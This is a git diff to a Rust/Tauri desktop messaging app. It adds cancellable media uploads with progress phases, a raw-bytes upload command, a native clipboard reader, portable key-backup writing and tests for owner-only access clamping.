+    assert_eq!(payload["respond_to_allowlist"], serde_json::json!([]));
+    assert!(!provider_access::needs_reconciliation_with_policy(
+        &record, false
+    ));
 
-    assert_eq!(payload["parallelism"], 4);
-    assert_eq!(payload["respond_to"], "allowlist");
-    assert_eq!(payload["respond_to_allowlist"][0], "a".repeat(64));
-    assert_eq!(payload["model"], "gpt-x");
-    assert_eq!(payload["provider"], "openai");
-    assert_eq!(payload["relay_url"], "wss://relay.example");
+    record.backend_agent_id = None;
+    assert!(!provider_access::needs_reconciliation_with_policy(
+        &record, true
+    ));
+
+    record.backend = BackendKind::Local;
+    record.backend_agent_id = Some("stale-provider-id".to_string());
+    assert!(!provider_access::needs_reconciliation_with_policy(
+        &record, true
+    ));
+}
+
+#[test]
+fn owner_only_access_deploy_payload_clamps_stale_access() {
+    use crate::managed_agents::{BackendKind, RespondTo};
+
+    let mut record = bare_agent_record(None, None, None);
+    record.backend = BackendKind::Provider {
+        id: "provider".to_string(),
+        config: serde_json::json!({}),
+    };
+    record.respond_to = RespondTo::Anyone;
+    record.respond_to_allowlist = vec!["a".repeat(64)];
+
+    let payload = deploy_payload_for_policy(&record, true);
+
+    assert_eq!(
+        payload["respond_to"], "owner-only",
+        "owner-only-access deploy payload widened stale access"
+    );
+    assert_eq!(
+        payload["respond_to_allowlist"],
+        serde_json::json!([]),
+        "owner-only-access deploy payload retained a stale allowlist"
+    );
 }
diff --git a/desktop/src-tauri/src/commands/clipboard.rs b/desktop/src-tauri/src/commands/clipboard.rs
index b4fe072ef8..c904e4a2d9 100644
--- a/desktop/src-tauri/src/commands/clipboard.rs
+++ b/desktop/src-tauri/src/commands/clipboard.rs
@@ -34,3 +34,22 @@ pub fn with_clipboard<T>(
     operation(stored.as_mut().expect("clipboard initialized"))
         .map_err(|e| format!("clipboard error: {e}"))
 }
+
+/// Read plain text from the system clipboard through the native shell.
+///
+/// Browser clipboard reads are permission-gated or unavailable in embedded
+/// webviews. Arboard provides one consistent path across WKWebView, WebView2,
+/// and WebKitGTK. The operation runs on the main thread for macOS/AppKit safety.
+#[tauri::command]
+pub async fn read_clipboard_text(app: tauri::AppHandle) -> Result<String, String> {
+    let (tx, rx) = std::sync::mpsc::sync_channel::<Result<String, String>>(1);
+    let clipboard_app = app.clone();
+    app.run_on_main_thread(move || {
+        let result = with_clipboard(&clipboard_app, arboard::Clipboard::get_text);
+        let _ = tx.send(result);
+    })
+    .map_err(|e| format!("main thread dispatch failed: {e}"))?;
+
+    rx.recv()
+        .map_err(|_| "clipboard result channel closed unexpectedly".to_string())?
+}
diff --git a/desktop/src-tauri/src/commands/export_util.rs b/desktop/src-tauri/src/commands/export_util.rs
index ded14679c1..e12cbd19e1 100644
--- a/desktop/src-tauri/src/commands/export_util.rs
+++ b/desktop/src-tauri/src/commands/export_util.rs
@@ -35,8 +35,8 @@ pub async fn pick_save_path(
 /// user cancelled the dialog.
 ///
 /// NOT for secrets: the write is plain `std::fs::write` (no atomic commit, no
-/// 0o600). Secret exports go through `pick_save_path` +
-/// `key_backup::write_backup_file`.
+/// 0o600). Secret exports go through `pick_save_path` and a dedicated
+/// secret-file writer such as `key_backup::write_portable_backup_file`.
 pub async fn save_bytes_with_dialog(
     app: &AppHandle,
     suggested_filename: &str,
diff --git a/desktop/src-tauri/src/commands/identity.rs b/desktop/src-tauri/src/commands/identity.rs
index 33ecf3cfca..bddf2e725a 100644
--- a/desktop/src-tauri/src/commands/identity.rs
+++ b/desktop/src-tauri/src/commands/identity.rs
@@ -297,9 +297,10 @@ pub async fn verify_ncryptsec_backup(
 /// Save a portable copy of an `ncryptsec1…` backup to a user-chosen path.
 ///
 /// The input must parse as a structurally valid NIP-49 payload. The dialog is
-/// selection-only; the write uses secret-file semantics (atomic + 0o600).
-/// Never mutates canonical app state. Returns the chosen path, or `None` when
-/// the user cancelled.
+/// selection-only; the write uses the exact save-panel-authorized path with
+/// owner-only permissions, sync, and reread verification. Existing files are
+/// preserved rather than truncated. Never mutates canonical app state. Returns
+/// the chosen path, or `None` when the user cancelled.
 #[tauri::command]
 pub async fn save_ncryptsec_copy(
     ncryptsec: String,
@@ -324,7 +325,7 @@ pub async fn save_ncryptsec_copy(
 
     let dest_for_write = dest.clone();
     tokio::task::spawn_blocking(move || {
-        crate::key_backup::write_backup_file(&dest_for_write, &normalized)
+        crate::key_backup::write_portable_backup_file(&dest_for_write, &normalized)
     })
     .await
     .map_err(|e| format!("spawn_blocking failed: {e}"))??;
diff --git a/desktop/src-tauri/src/commands/media.rs b/desktop/src-tauri/src/commands/media.rs
index ed3b340238..86a91a9842 100644
--- a/desktop/src-tauri/src/commands/media.rs
+++ b/desktop/src-tauri/src/commands/media.rs
@@ -3,17 +3,17 @@ use nostr::{EventBuilder, JsonUtil, Keys, Kind, Tag, Timestamp};
 use serde::{Deserialize, Serialize};
 use sha2::{Digest, Sha256};
 use tauri::State;
+use tokio_util::sync::CancellationToken;
 
 use crate::app_state::AppState;
-use crate::relay::{
-    classify_request_error, parse_json_response, relay_api_base_url_with_override,
-    relay_error_message,
-};
+use crate::relay::{parse_json_response, relay_api_base_url_with_override, relay_error_message};
 
 use super::media_transcode::{
     has_heic_extension, is_heic_file, is_video_file, transcode_and_extract_poster,
-    transcode_heic_path_to_jpeg_bytes,
+    transcode_and_extract_poster_with_cancellation, transcode_heic_path_to_jpeg_bytes,
+    transcode_heic_path_to_jpeg_bytes_with_cancellation,
 };
+use super::media_upload_progress::{emit_media_upload_phase, send_upload_attempt, UploadAttempt};
 
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct BlobDescriptor {
@@ -410,51 +410,6 @@ fn should_retry_legacy_upload(status: reqwest::StatusCode) -> bool {
     )
 }
 
-async fn send_upload_attempt(
-    state: &AppState,
-    url: String,
-    auth_header: &str,
-    mime: &str,
-    sha256: &str,
-    body: bytes::Bytes,
-    progress: Option<&(tauri::AppHandle, String)>,
-) -> Result<reqwest::Response, String> {
-    let req = state
-        .http_client
-        .put(url)
-        .header("Authorization", auth_header)
-        .header("Content-Type", mime)
-        .header("X-SHA-256", sha256);
-
-    let response = if let Some((app, progress_id)) = progress {
-        use tauri::Emitter;
-        let app = app.clone();
-        let progress_id = progress_id.clone();
-        let total = body.len() as u64;
-        let chunk_size = 64 * 1024;
-        let chunk_count = body.len().div_ceil(chunk_size);
-        let mut sent: u64 = 0;
-        let stream = futures_util::stream::iter((0..chunk_count).map(move |i| {
-            let start = i * chunk_size;
-            let end = usize::min(start + chunk_size, body.len());
-            let chunk = body.slice(start..end);
-            sent += chunk.len() as u64;
-            let _ = app.emit(
-                "media-upload-progress",
-                serde_json::json!({ "id": progress_id, "sent": sent, "total": total }),
-            );
-            Ok::<bytes::Bytes, std::io::Error>(chunk)
-        }));
-        req.header(reqwest::header::CONTENT_LENGTH, total)
-            .body(reqwest::Body::wrap_stream(stream))
-            .send()
-            .await
-    } else {
-        req.body(body).send().await
-    };
-    response.map_err(|error| classify_request_error(&error))
-}
-
 pub(crate) async fn upload_image_bytes(
     body: Vec<u8>,
     state: &AppState,
@@ -464,7 +419,7 @@ pub(crate) async fn upload_image_bytes(
         return Err("profile avatar must be an image".to_string());
     }
     let body = sanitize_image_for_upload(body, &mime)?;
-    do_upload(body, &mime, state, None).await
+    do_upload(body, &mime, state, None, None).await
 }
 
 async fn do_upload(
@@ -472,6 +427,7 @@ async fn do_upload(
     mime: &str,
     state: &AppState,
     progress: Option<(tauri::AppHandle, String)>,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<BlobDescriptor, String> {
     let sha256 = hex::encode(Sha256::digest(&body));
 
@@ -494,25 +450,34 @@ async fn do_upload(
         URL_SAFE_NO_PAD.encode(auth_event.as_json().as_bytes())
     );
     let body = bytes::Bytes::from(body);
+    if let Some((app, progress_id)) = progress.as_ref() {
+        emit_media_upload_phase(app, Some(progress_id.as_str()), "uploading");
+    }
     let mut resp = send_upload_attempt(
         state,
-        format!("{base_url}/upload"),
-        &auth_header,
-        mime,
-        &sha256,
-        body.clone(),
-        progress.as_ref(),
+        UploadAttempt {
+            url: format!("{base_url}/upload"),
+            auth_header: &auth_header,
+            mime,
+            sha256: &sha256,
+            body: body.clone(),
+            progress: progress.as_ref(),
+            cancellation,
+        },
     )
     .await?;
     if should_retry_legacy_upload(resp.status()) {
         resp = send_upload_attempt(
             state,
-            format!("{base_url}/media/upload"),
-            &auth_header,
-            mime,
-            &sha256,
-            body,
-            progress.as_ref(),
+            UploadAttempt {
+                url: format!("{base_url}/media/upload"),
+                auth_header: &auth_header,
+                mime,
+                sha256: &sha256,
+                body,
+                progress: progress.as_ref(),
+                cancellation,
+            },
         )
         .await?;
     }
@@ -559,7 +524,7 @@ pub async fn upload_media(
 
     let mime = detect_and_validate_mime(&body)?;
     let body = sanitize_image_for_upload(body, &mime)?;
-    do_upload(body, &mime, &state, None).await
+    do_upload(body, &mime, &state, None, None).await
 }
 
 /// Read a picked path through the TOCTOU-safe pipeline (fd pin → sniff →
@@ -573,6 +538,7 @@ async fn process_picked_path(
     path: std::path::PathBuf,
     state: &AppState,
     images_only: bool,
+    progress: Option<(tauri::AppHandle, String)>,
 ) -> Result<BlobDescriptor, String> {
     // Pin the inode by opening the fd BEFORE spawn_blocking. This prevents a
     // local attacker from swapping the file between dialog return and read.
@@ -639,10 +605,9 @@ async fn process_picked_path(
 
     // Upload video first, then poster (best-effort). If poster upload fails,
     // the video descriptor is returned without an image field.
-    let mut descriptor = do_upload(body, &mime, state, None).await?;
-
+    let mut descriptor = do_upload(body, &mime, state, progress, None).await?;
     if let Some(poster) = poster_bytes {
-        match do_upload(poster, "image/jpeg", state, None).await {
+        match do_upload(poster, "image/jpeg", state, None, None).await {
             Ok(poster_desc) => descriptor.image = Some(poster_desc.url),
             Err(e) => eprintln!("buzz-desktop: poster upload failed (non-fatal): {e}"),
         }
@@ -675,6 +640,7 @@ async fn process_picked_path(
 #[tauri::command]
 pub async fn pick_and_upload_media(
     app: tauri::AppHandle,
+    progress_id: Option<String>,
     state: State<'_, AppState>,
 ) -> Result<Vec<BlobDescriptor>, String> {
     use tauri_plugin_dialog::DialogExt;
@@ -694,7 +660,8 @@ pub async fn pick_and_upload_media(
     let mut descriptors = Vec::with_capacity(file_paths.len());
     for file_path in file_paths {
         let path = file_path.as_path().ok_or("invalid path")?.to_path_buf();
-        let descriptor = process_picked_path(path, &state, false).await?;
+        let progress = progress_id.clone().map(|id| (app.clone(), id));
+        let descriptor = process_picked_path(path, &state, false, progress).await?;
         descriptors.push(descriptor);
     }
 
@@ -735,30 +702,37 @@ pub async fn pick_and_upload_image(
     };
 
     let path = file_path.as_path().ok_or("invalid path")?.to_path_buf();
-    let descriptor = process_picked_path(path, &state, true).await?;
+    let descriptor = process_picked_path(path, &state, true, None).await?;
     Ok(Some(descriptor))
 }
 
-/// Upload raw bytes directly (for paste and drag-drop).
-///
-/// The renderer already has the bytes in memory from the clipboard/drag event.
-/// If the bytes are a video, they're written to a temp file, transcoded via
-/// ffmpeg, and the transcoded output is uploaded instead.
-#[tauri::command]
-pub async fn upload_media_bytes(
+pub(super) async fn upload_media_bytes_inner(
     data: Vec<u8>,
     filename: Option<String>,
     progress_id: Option<String>,
     app: tauri::AppHandle,
     state: State<'_, AppState>,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<BlobDescriptor, String> {
     if data.is_empty() {
         return Err("empty upload".to_string());
     }
 
+    if cancellation.is_some_and(CancellationToken::is_cancelled) {
+        return Err("upload cancelled".to_string());
+    }
+
+    emit_media_upload_phase(&app, progress_id.as_deref(), "preparing");
+
+    let heic_by_extension = filename
+        .as_deref()
+        .is_some_and(|name| has_heic_extension(std::path::Path::new(name)));
+
     let (body, poster_bytes) = if is_video_file(&data) {
+        emit_media_upload_phase(&app, progress_id.as_deref(), "processing-video");
         // Video: write to temp → transcode + extract poster → read results.
         // All blocking I/O runs off the async runtime via spawn_blocking.
+        let cancellation = cancellation.cloned();
         tokio::task::spawn_blocking(move || -> Result<(Vec<u8>, Option<Vec<u8>>), String> {
             let tmp_input =
                 std::env::temp_dir().join(format!("buzz-drop-{}", uuid::Uuid::new_v4()));
@@ -766,17 +740,19 @@ pub async fn upload_media_bytes(
             let result = (|| {
                 std::fs::write(&tmp_input, &data)
                     .map_err(|e| format!("failed to write temp file: {e}"))?;
-                transcode_and_extract_poster(&tmp_input)
+                transcode_and_extract_poster_with_cancellation(&tmp_input, cancellation.as_ref())
             })();
             let _ = std::fs::remove_file(&tmp_input);
             result
         })
         .await
         .map_err(|e| format!("transcode task failed: {e}"))??
-    } else if is_heic_file(&data) {
+    } else if is_heic_file(&data) || heic_by_extension {
+        emit_media_upload_phase(&app, progress_id.as_deref(), "converting-image");
         // HEIC/HEIF still pasted/dropped: no filename here, so detection is
         // magic-bytes only. ffmpeg needs a path, so write to temp, transcode
         // to JPEG, and clean up. (Mirrors mobile's pre-upload transcode.)
+        let cancellation = cancellation.cloned();
         tokio::task::spawn_blocking(move || -> Result<(Vec<u8>, Option<Vec<u8>>), String> {
             let tmp_input =
                 std::env::temp_dir().join(format!("buzz-drop-{}", uuid::Uuid::new_v4()));
@@ -784,7 +760,11 @@ pub async fn upload_media_bytes(
             let result = (|| {
                 std::fs::write(&tmp_input, &data)
                     .map_err(|e| format!("failed to write temp file: {e}"))?;
-                transcode_heic_path_to_jpeg_bytes(&tmp_input).map(|jpeg| (jpeg, None))
+                transcode_heic_path_to_jpeg_bytes_with_cancellation(
+                    &tmp_input,
+                    cancellation.as_ref(),
+                )
+                .map(|jpeg| (jpeg, None))
             })();
             let _ = std::fs::remove_file(&tmp_input);
             result
@@ -799,11 +779,15 @@ pub async fn upload_media_bytes(
     let body = sanitize_image_for_upload(body, &mime)?;
 
     // Upload video first, then poster (best-effort).
-    let progress = progress_id.map(|id| (app, id));
-    let mut descriptor = do_upload(body, &mime, &state, progress).await?;
+    let progress = progress_id.as_ref().map(|id| (app.clone(), id.clone()));
+    if cancellation.is_some_and(CancellationToken::is_cancelled) {
+        return Err("upload cancelled".to_string());
+    }
+    let mut descriptor = do_upload(body, &mime, &state, progress, cancellation).await?;
 
+    emit_media_upload_phase(&app, progress_id.as_deref(), "finishing");
     if let Some(poster) = poster_bytes {
-        match do_upload(poster, "image/jpeg", &state, None).await {
+        match do_upload(poster, "image/jpeg", &state, None, cancellation).await {
             Ok(poster_desc) => descriptor.image = Some(poster_desc.url),
             Err(e) => eprintln!("buzz-desktop: poster upload failed (non-fatal): {e}"),
         }
diff --git a/desktop/src-tauri/src/commands/media_download.rs b/desktop/src-tauri/src/commands/media_download.rs
index d3b1a9499d..7bc94da25d 100644
--- a/desktop/src-tauri/src/commands/media_download.rs
+++ b/desktop/src-tauri/src/commands/media_download.rs
@@ -8,7 +8,8 @@ use crate::commands::export_util::save_bytes_with_dialog;
 use crate::commands::media::{detect_and_validate_mime, mint_media_get_auth, sanitize_filename};
 use crate::commands::{
     personas::{
-        decode_snapshot_from_bytes, MAX_SNAPSHOT_JSON_BYTES, MAX_SNAPSHOT_PNG_BYTES, PNG_MAGIC,
+        parse_snapshot_payload_from_bytes, MAX_SNAPSHOT_JSON_BYTES, MAX_SNAPSHOT_PNG_BYTES,
+        PNG_MAGIC,
     },
     team_snapshot::{
         decode_team_snapshot_from_bytes, MAX_TEAM_SNAPSHOT_JSON_BYTES, MAX_TEAM_SNAPSHOT_PNG_BYTES,
@@ -505,10 +506,12 @@ pub async fn fetch_snapshot_bytes(
 
     // 4. Bytes must parse as the snapshot type selected by the filename.
     //    Team parsing rejects retired flat JSON and persona-pack ZIP inputs
-    //    before anything reaches the frontend.
+    //    before anything reaches the frontend. Agent kinds accept both plain
+    //    manifests and structurally valid locked (encrypted) card envelopes —
+    //    transit validation never decrypts; unlock happens at import time.
     match kind {
         SnapshotFileKind::AgentJson | SnapshotFileKind::AgentPng => {
-            decode_snapshot_from_bytes(&bytes)
+            parse_snapshot_payload_from_bytes(&bytes)
                 .map_err(|e| format!("invalid agent snapshot: {e}"))?;
         }
         SnapshotFileKind::TeamJson | SnapshotFileKind::TeamPng => {
diff --git a/desktop/src-tauri/src/commands/media_raw.rs b/desktop/src-tauri/src/commands/media_raw.rs
new file mode 100644
index 0000000000..a74ccd4dfe
--- /dev/null
+++ b/desktop/src-tauri/src/commands/media_raw.rs
@@ -0,0 +1,96 @@
+use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+use tauri::{
+    ipc::{InvokeBody, Request},
+    State,
+};
+
+use crate::app_state::AppState;
+
+use super::{
+    media::{upload_media_bytes_inner, BlobDescriptor},
+    media_upload_progress::{
+        begin_media_upload, cancel_media_upload as cancel_registered_media_upload,
+        finish_media_upload,
+    },
+};
+
+/// Upload raw bytes directly (for paste and drag-drop).
+///
+/// The renderer already has the bytes in memory from the clipboard/drag event.
+/// If the bytes are a video, they're written to a temp file, transcoded via
+/// ffmpeg, and the transcoded output is uploaded instead.
+#[tauri::command]
+pub async fn upload_media_bytes(
+    data: Vec<u8>,
+    filename: Option<String>,
+    progress_id: Option<String>,
+    app: tauri::AppHandle,
+    state: State<'_, AppState>,
+) -> Result<BlobDescriptor, String> {
+    upload_media_bytes_inner(data, filename, progress_id, app, state, None).await
+}
+
+fn decode_raw_upload_header(value: &str) -> Result<String, String> {
+    let bytes = URL_SAFE_NO_PAD
+        .decode(value)
+        .map_err(|error| format!("invalid raw upload header: {error}"))?;
+    String::from_utf8(bytes).map_err(|error| format!("invalid raw upload header text: {error}"))
+}
+
+fn optional_raw_upload_header(request: &Request<'_>, name: &str) -> Result<Option<String>, String> {
+    request
+        .headers()
+        .get(name)
+        .map(|value| {
+            value
+                .to_str()
+                .map_err(|error| format!("invalid {name} header: {error}"))
+                .and_then(decode_raw_upload_header)
+        })
+        .transpose()
+}
+
+/// Cancel the native upload associated with a background progress ID.
+#[tauri::command]
+pub fn cancel_media_upload(progress_id: String) {
+    cancel_registered_media_upload(&progress_id);
+}
+
+/// Upload raw IPC bytes without expanding a large browser File into JSON.
+#[tauri::command]
+pub async fn upload_media_bytes_raw(
+    request: Request<'_>,
+    app: tauri::AppHandle,
+    state: State<'_, AppState>,
+) -> Result<BlobDescriptor, String> {
+    let data = match request.body() {
+        InvokeBody::Raw(data) => data.clone(),
+        InvokeBody::Json(_) => return Err("raw upload requires a byte body".to_string()),
+    };
+    let filename = optional_raw_upload_header(&request, "x-buzz-filename")?;
+    let progress_id = optional_raw_upload_header(&request, "x-buzz-progress-id")?;
+
+    let cancellation = begin_media_upload(progress_id.as_deref());
+    let result = upload_media_bytes_inner(
+        data,
+        filename,
+        progress_id.clone(),
+        app,
+        state,
+        cancellation.as_ref(),
+    )
+    .await;
+    finish_media_upload(progress_id.as_deref());
+    result
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_decode_raw_upload_header_preserves_unicode() {
+        let encoded = URL_SAFE_NO_PAD.encode("clip 🎬.mp4");
+        assert_eq!(decode_raw_upload_header(&encoded).unwrap(), "clip 🎬.mp4");
+    }
+}
diff --git a/desktop/src-tauri/src/commands/media_transcode.rs b/desktop/src-tauri/src/commands/media_transcode.rs
index 46a5decaa7..3fb7eda5f0 100644
--- a/desktop/src-tauri/src/commands/media_transcode.rs
+++ b/desktop/src-tauri/src/commands/media_transcode.rs
@@ -6,6 +6,7 @@
 //! `validate_video_file()`) and to produce a JPEG poster frame.
 
 use crate::managed_agents::resolve_command;
+use tokio_util::sync::CancellationToken;
 
 /// Build an ffmpeg command without inheriting user-controlled process knobs.
 ///
@@ -121,7 +122,7 @@ pub(super) fn has_heic_extension(path: &std::path::Path) -> bool {
 /// blocking a Tokio worker thread indefinitely.
 const FFMPEG_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600);
 
-/// Run an ffmpeg command with a wall-clock timeout.
+/// Run an ffmpeg command with a wall-clock timeout and optional cancellation.
 ///
 /// Spawns the child process, polls `try_wait()` every 500ms, and kills it
 /// if the deadline is exceeded. Returns the same `Output` as `Command::output()`.
@@ -131,10 +132,14 @@ const FFMPEG_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600);
 /// enough progress/diagnostic output to fill the OS pipe buffer (~64 KiB),
 /// the child blocks on write() and never exits — causing a false timeout.
 /// `-loglevel error` suppresses progress spam, keeping stderr small.
-pub(super) fn run_ffmpeg_with_timeout(
+fn run_ffmpeg_with_cancellation(
     cmd: &mut std::process::Command,
     timeout: std::time::Duration,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<std::process::Output, String> {
+    if cancellation.is_some_and(CancellationToken::is_cancelled) {
+        return Err("upload cancelled".to_string());
+    }
     let mut child = cmd
         .spawn()
         .map_err(|e| format!("failed to spawn ffmpeg: {e}"))?;
@@ -162,6 +167,11 @@ pub(super) fn run_ffmpeg_with_timeout(
             }
             Ok(None) => {
                 // Still running — check deadline.
+                if cancellation.is_some_and(CancellationToken::is_cancelled) {
+                    let _ = child.kill();
+                    let _ = child.wait();
+                    return Err("upload cancelled".to_string());
+                }
                 if std::time::Instant::now() > deadline {
                     let _ = child.kill();
                     let _ = child.wait(); // reap zombie
@@ -181,14 +191,15 @@ pub(super) fn run_ffmpeg_with_timeout(
 /// relay's `validate_video_file()`.
 ///
 /// Returns the path to a temp file. Caller must clean up.
-pub(super) fn transcode_to_mp4(
+fn transcode_to_mp4_with_cancellation(
     source: &std::path::Path,
     ffmpeg: &std::path::Path,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<std::path::PathBuf, String> {
     // UUID-based temp path — unique across concurrent uploads.
     let output = std::env::temp_dir().join(format!("buzz-transcode-{}.mp4", uuid::Uuid::new_v4()));
 
-    let result = run_ffmpeg_with_timeout(
+    let result = run_ffmpeg_with_cancellation(
         ffmpeg_command(ffmpeg)
             .args([
                 "-y",
@@ -240,7 +251,11 @@ pub(super) fn transcode_to_mp4(
             .stdout(std::process::Stdio::null())
             .stderr(std::process::Stdio::piped()),
         FFMPEG_TIMEOUT,
-    )?;
+        cancellation,
+    )
+    .inspect_err(|_| {
+        let _ = std::fs::remove_file(&output);
+    })?;
 
     if !result.status.success() {
         let _ = std::fs::remove_file(&output);
@@ -265,9 +280,10 @@ pub(super) fn transcode_to_mp4(
 /// Uses `-frames:v 1` so multi-image HEIF containers (Live Photos, bursts)
 /// yield a single still, and `-q:v 2` for high JPEG quality. Returns the path
 /// to a temp file. Caller must clean up.
-pub(super) fn transcode_heic_to_jpeg(
+fn transcode_heic_to_jpeg(
     source: &std::path::Path,
     ffmpeg: &std::path::Path,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<std::path::PathBuf, String> {
     // UUID-based temp path — unique across concurrent uploads.
     let output = std::env::temp_dir().join(format!("buzz-heic-{}.jpg", uuid::Uuid::new_v4()));
@@ -275,7 +291,7 @@ pub(super) fn transcode_heic_to_jpeg(
     // Single-frame image decode — 60s is generous even for large HEICs.
     let heic_timeout = std::time::Duration::from_secs(60);
 
-    let result = run_ffmpeg_with_timeout(
+    let result = run_ffmpeg_with_cancellation(
         ffmpeg_command(ffmpeg)
             .args([
                 "-y",
@@ -301,7 +317,11 @@ pub(super) fn transcode_heic_to_jpeg(
             .stdout(std::process::Stdio::null())
             .stderr(std::process::Stdio::piped()),
         heic_timeout,
-    )?;
+        cancellation,
+    )
+    .inspect_err(|_| {
+        let _ = std::fs::remove_file(&output);
+    })?;
 
     if !result.status.success() {
         let _ = std::fs::remove_file(&output);
@@ -323,9 +343,16 @@ pub(super) fn transcode_heic_to_jpeg(
 /// file. Mirrors `transcode_and_extract_poster` but for images (no poster).
 pub(super) fn transcode_heic_path_to_jpeg_bytes(
     source: &std::path::Path,
+) -> Result<Vec<u8>, String> {
+    transcode_heic_path_to_jpeg_bytes_with_cancellation(source, None)
+}
+
+pub(super) fn transcode_heic_path_to_jpeg_bytes_with_cancellation(
+    source: &std::path::Path,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<Vec<u8>, String> {
     let ffmpeg_path = find_ffmpeg()?;
-    let jpeg_path = transcode_heic_to_jpeg(source, &ffmpeg_path)?;
+    let jpeg_path = transcode_heic_to_jpeg(source, &ffmpeg_path, cancellation)?;
     let bytes =
         std::fs::read(&jpeg_path).map_err(|e| format!("failed to read transcoded HEIC: {e}"));
     let _ = std::fs::remove_file(&jpeg_path);
@@ -340,9 +367,10 @@ pub(super) fn transcode_heic_path_to_jpeg_bytes(
 ///
 /// Best-effort: returns `Err` on failure — callers should log and continue
 /// without a poster rather than failing the entire video upload.
-pub(super) fn extract_poster_frame(
+fn extract_poster_frame_with_cancellation(
     mp4_path: &std::path::Path,
     ffmpeg: &std::path::Path,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<std::path::PathBuf, String> {
     let output = std::env::temp_dir().join(format!("buzz-poster-{}.jpg", uuid::Uuid::new_v4()));
 
@@ -350,7 +378,7 @@ pub(super) fn extract_poster_frame(
     let poster_timeout = std::time::Duration::from_secs(30);
 
     // Try seeking to 1s first (avoids black first frames from fade-ins).
-    let result = run_ffmpeg_with_timeout(
+    let result = run_ffmpeg_with_cancellation(
         ffmpeg_command(ffmpeg)
             .args([
                 "-y",
@@ -369,6 +397,7 @@ pub(super) fn extract_poster_frame(
             .stdout(std::process::Stdio::null())
             .stderr(std::process::Stdio::piped()),
         poster_timeout,
+        cancellation,
     )?;
 
     // If seek to 1s failed (video shorter than 1s), retry from first frame.
@@ -381,7 +410,7 @@ pub(super) fn extract_poster_frame(
             eprintln!("buzz-desktop: poster seek-to-1s failed, trying first frame: {stderr}");
         }
         let _ = std::fs::remove_file(&output);
-        let fallback = run_ffmpeg_with_timeout(
+        let fallback = run_ffmpeg_with_cancellation(
             ffmpeg_command(ffmpeg)
                 .args([
                     "-y",
@@ -398,6 +427,7 @@ pub(super) fn extract_poster_frame(
                 .stdout(std::process::Stdio::null())
                 .stderr(std::process::Stdio::piped()),
             poster_timeout,
+            cancellation,
         )?;
 
         if !fallback.status.success() || !output.exists() {
@@ -417,22 +447,35 @@ pub(super) fn extract_poster_frame(
 /// and the video bytes are still valid. All temp files are cleaned up.
 pub(super) fn transcode_and_extract_poster(
     source: &std::path::Path,
+) -> Result<(Vec<u8>, Option<Vec<u8>>), String> {
+    transcode_and_extract_poster_with_cancellation(source, None)
+}
+
+pub(super) fn transcode_and_extract_poster_with_cancellation(
+    source: &std::path::Path,
+    cancellation: Option<&CancellationToken>,
 ) -> Result<(Vec<u8>, Option<Vec<u8>>), String> {
     let ffmpeg_path = find_ffmpeg()?;
-    let transcoded = transcode_to_mp4(source, &ffmpeg_path)?;
+    let transcoded = transcode_to_mp4_with_cancellation(source, &ffmpeg_path, cancellation)?;
 
     // Extract poster from the transcoded file (not the original — guarantees decodability).
-    let poster_bytes = match extract_poster_frame(&transcoded, &ffmpeg_path) {
-        Ok(poster_path) => {
-            let bytes = std::fs::read(&poster_path).ok();
-            let _ = std::fs::remove_file(&poster_path);
-            bytes
-        }
-        Err(e) => {
-            eprintln!("buzz-desktop: poster extraction failed (non-fatal): {e}");
-            None
-        }
-    };
+    let poster_bytes =
+        match extract_poster_frame_with_cancellation(&transcoded, &ffmpeg_path, cancellation) {
+            Ok(poster_path) => {
+                let bytes = std::fs::read(&poster_path).ok();
+                let _ = std::fs::remove_file(&poster_path);
+                bytes
+            }
+            Err(e) => {
+                eprintln!("buzz-desktop: poster extraction failed (non-fatal): {e}");
+                None
+            }
+        };
+
+    if cancellation.is_some_and(CancellationToken::is_cancelled) {
+        let _ = std::fs::remove_file(&transcoded);
+        return Err("upload cancelled".to_string());
+    }
 
     let video_bytes =
         std::fs::read(&transcoded).map_err(|e| format!("failed to read transcoded file: {e}"));
@@ -599,7 +642,8 @@ mod tests {
             return;
         }
 
-        let output = transcode_to_mp4(&source, &ffmpeg).expect("transcode fixture");
+        let output =
+            transcode_to_mp4_with_cancellation(&source, &ffmpeg, None).expect("transcode fixture");
         let bytes = std::fs::read(&output).expect("read transcoded video");
         let _ = std::fs::remove_file(&source);
         let _ = std::fs::remove_file(&output);
diff --git a/desktop/src-tauri/src/commands/media_upload_progress.rs b/desktop/src-tauri/src/commands/media_upload_progress.rs
new file mode 100644
index 0000000000..850afe1b12
--- /dev/null
+++ b/desktop/src-tauri/src/commands/media_upload_progress.rs
@@ -0,0 +1,126 @@
+use std::{
+    collections::HashMap,
+    sync::{LazyLock, Mutex},
+};
+
+use tauri::Emitter;
+use tokio_util::sync::CancellationToken;
+
+use crate::{app_state::AppState, relay::classify_request_error};
+
+static MEDIA_UPLOAD_CANCELLATIONS: LazyLock<Mutex<HashMap<String, CancellationToken>>> =
+    LazyLock::new(|| Mutex::new(HashMap::new()));
+
+pub(super) fn begin_media_upload(progress_id: Option<&str>) -> Option<CancellationToken> {
+    let progress_id = progress_id?;
+    let cancel = CancellationToken::new();
+    if let Ok(mut uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() {
+        uploads.insert(progress_id.to_string(), cancel.clone());
+    }
+    Some(cancel)
+}
+
+pub(super) fn cancel_media_upload(progress_id: &str) {
+    if let Ok(uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() {
+        if let Some(cancel) = uploads.get(progress_id) {
+            cancel.cancel();
+        }
+    }
+}
+
+pub(super) fn finish_media_upload(progress_id: Option<&str>) {
+    let Some(progress_id) = progress_id else {
+        return;
+    };
+    if let Ok(mut uploads) = MEDIA_UPLOAD_CANCELLATIONS.lock() {
+        uploads.remove(progress_id);
+    }
+}
+
+pub(super) struct UploadAttempt<'a> {
+    pub url: String,
+    pub auth_header: &'a str,
+    pub mime: &'a str,
+    pub sha256: &'a str,
+    pub body: bytes::Bytes,
+    pub progress: Option<&'a (tauri::AppHandle, String)>,
+    pub cancellation: Option<&'a CancellationToken>,
+}
+
